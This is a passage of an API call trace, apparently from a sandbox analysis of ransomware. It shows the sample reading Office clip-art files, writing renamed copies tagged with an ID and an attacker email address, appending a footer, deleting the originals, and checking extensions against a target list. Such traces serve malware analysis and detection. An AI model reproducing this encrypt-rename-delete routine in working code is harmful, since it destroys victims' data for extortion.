(hObject=0x1d8) returned 1 [0224.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20 [0224.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.956] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.956] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.956] GetLastError () returned 0x0 [0224.956] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x3632, lpOverlapped=0x0) returned 1 [0224.963] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x3640, lpOverlapped=0x0) returned 1 [0224.964] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.964] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.964] SetEndOfFile (hFile=0x218) returned 1 [0224.964] CloseHandle (hObject=0x218) returned 1 [0224.964] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.964] SetEndOfFile (hFile=0x1d8) returned 1 [0224.965] CloseHandle (hObject=0x1d8) returned 1 [0224.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0224.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0224.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0224.965] lstrlenW (lpString=".doc") returned 4 [0224.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.965] lstrlenW (lpString=".docx") returned 5 [0224.965] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0224.965] lstrlenW (lpString=".pdf") returned 4 [0224.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.965] lstrlenW (lpString=".xls") returned 4 [0224.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.966] lstrlenW (lpString=".xlsx") returned 5 [0224.966] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0224.966] lstrlenW (lpString=".ppt") returned 4 [0224.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0224.966] lstrlenW (lpString=".zip") returned 4 [0224.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.966] lstrlenW (lpString=".rar") returned 4 [0224.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.966] lstrlenW (lpString=".bz2") returned 4 [0224.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.966] lstrlenW (lpString=".7z") returned 3 [0224.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0224.966] lstrlenW (lpString=".dbf") returned 4 [0224.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0224.966] lstrlenW (lpString=".1cd") returned 4 [0224.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0224.966] lstrlenW (lpString=".jpg") returned 4 [0224.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.966] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=8826) returned 1 [0224.966] CloseHandle (hObject=0x1d8) returned 1 [0224.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20 [0224.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.966] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.966] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.967] GetLastError () returned 0x0 [0224.967] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x227a, lpOverlapped=0x0) returned 1 [0225.002] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2280, lpOverlapped=0x0) returned 1 [0225.003] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.003] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.003] SetEndOfFile (hFile=0x218) returned 1 [0225.003] CloseHandle (hObject=0x218) returned 1 [0225.003] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.003] SetEndOfFile (hFile=0x1d8) returned 1 [0225.004] CloseHandle (hObject=0x1d8) returned 1 [0225.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0225.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0225.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0225.004] lstrlenW (lpString=".doc") returned 4 [0225.004] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.004] lstrlenW (lpString=".docx") returned 5 [0225.004] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0225.004] lstrlenW (lpString=".pdf") returned 4 [0225.004] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.004] lstrlenW (lpString=".xls") returned 4 [0225.004] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.004] lstrlenW (lpString=".xlsx") returned 5 [0225.004] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0225.004] lstrlenW (lpString=".ppt") returned 4 [0225.005] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0225.005] lstrlenW (lpString=".zip") returned 4 [0225.005] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.005] lstrlenW (lpString=".rar") returned 4 [0225.005] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.005] lstrlenW (lpString=".bz2") returned 4 [0225.005] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.005] lstrlenW (lpString=".7z") returned 3 [0225.005] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0225.005] lstrlenW (lpString=".dbf") returned 4 [0225.005] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0225.005] lstrlenW (lpString=".1cd") returned 4 [0225.005] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0225.005] lstrlenW (lpString=".jpg") returned 4 [0225.005] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.005] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=7154) returned 1 [0225.005] CloseHandle (hObject=0x1d8) returned 1 [0225.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 0x20 [0225.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.005] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.005] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0225.006] GetLastError () returned 0x0 [0225.006] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1bf2, lpOverlapped=0x0) returned 1 [0225.021] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1c00, lpOverlapped=0x0) returned 1 [0225.022] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.022] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.022] SetEndOfFile (hFile=0x218) returned 1 [0225.022] CloseHandle (hObject=0x218) returned 1 [0225.022] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.022] SetEndOfFile (hFile=0x1d8) returned 1 [0225.022] CloseHandle (hObject=0x1d8) returned 1 [0225.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0225.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0225.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0225.023] lstrlenW (lpString=".doc") returned 4 [0225.023] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.023] lstrlenW (lpString=".docx") returned 5 [0225.023] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0225.023] lstrlenW (lpString=".pdf") returned 4 [0225.023] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.023] lstrlenW (lpString=".xls") returned 4 [0225.023] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.023] lstrlenW (lpString=".xlsx") returned 5 [0225.023] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0225.023] lstrlenW (lpString=".ppt") returned 4 [0225.023] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0225.023] lstrlenW (lpString=".zip") returned 4 [0225.023] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.023] lstrlenW (lpString=".rar") returned 4 [0225.023] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.023] lstrlenW (lpString=".bz2") returned 4 [0225.023] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.023] lstrlenW (lpString=".7z") returned 3 [0225.023] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0225.023] lstrlenW (lpString=".dbf") returned 4 [0225.023] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0225.023] lstrlenW (lpString=".1cd") returned 4 [0225.023] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0225.023] lstrlenW (lpString=".jpg") returned 4 [0225.023] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.024] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=21946) returned 1 [0225.024] CloseHandle (hObject=0x1d8) returned 1 [0225.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 0x20 [0225.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.024] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.024] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0225.025] GetLastError () returned 0x0 [0225.025] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x55ba, lpOverlapped=0x0) returned 1 [0225.026] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x55c0, lpOverlapped=0x0) returned 1 [0225.026] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.026] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.027] SetEndOfFile (hFile=0x218) returned 1 [0225.027] CloseHandle (hObject=0x218) returned 1 [0225.027] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.027] SetEndOfFile (hFile=0x1d8) returned 1 [0225.027] CloseHandle (hObject=0x1d8) returned 1 [0225.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0225.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0225.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0225.028] lstrlenW (lpString=".doc") returned 4 [0225.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.028] lstrlenW (lpString=".docx") returned 5 [0225.028] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0225.028] lstrlenW (lpString=".pdf") returned 4 [0225.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.028] lstrlenW (lpString=".xls") returned 4 [0225.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.028] lstrlenW (lpString=".xlsx") returned 5 [0225.028] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0225.028] lstrlenW (lpString=".ppt") returned 4 [0225.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0225.028] lstrlenW (lpString=".zip") returned 4 [0225.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.028] lstrlenW (lpString=".rar") returned 4 [0225.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.028] lstrlenW (lpString=".bz2") returned 4 [0225.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.028] lstrlenW (lpString=".7z") returned 3 [0225.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0225.028] lstrlenW (lpString=".dbf") returned 4 [0225.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0225.028] lstrlenW (lpString=".1cd") returned 4 [0225.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0225.028] lstrlenW (lpString=".jpg") returned 4 [0225.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.029] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=50490) returned 1 [0225.029] CloseHandle (hObject=0x1d8) returned 1 [0225.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 0x20 [0225.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.029] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.029] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0225.030] GetLastError () returned 0x0 [0225.030] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xc53a, lpOverlapped=0x0) returned 1 [0225.041] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xc540, lpOverlapped=0x0) returned 1 [0225.042] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.042] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.042] SetEndOfFile (hFile=0x218) returned 1 [0225.042] CloseHandle (hObject=0x218) returned 1 [0225.042] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 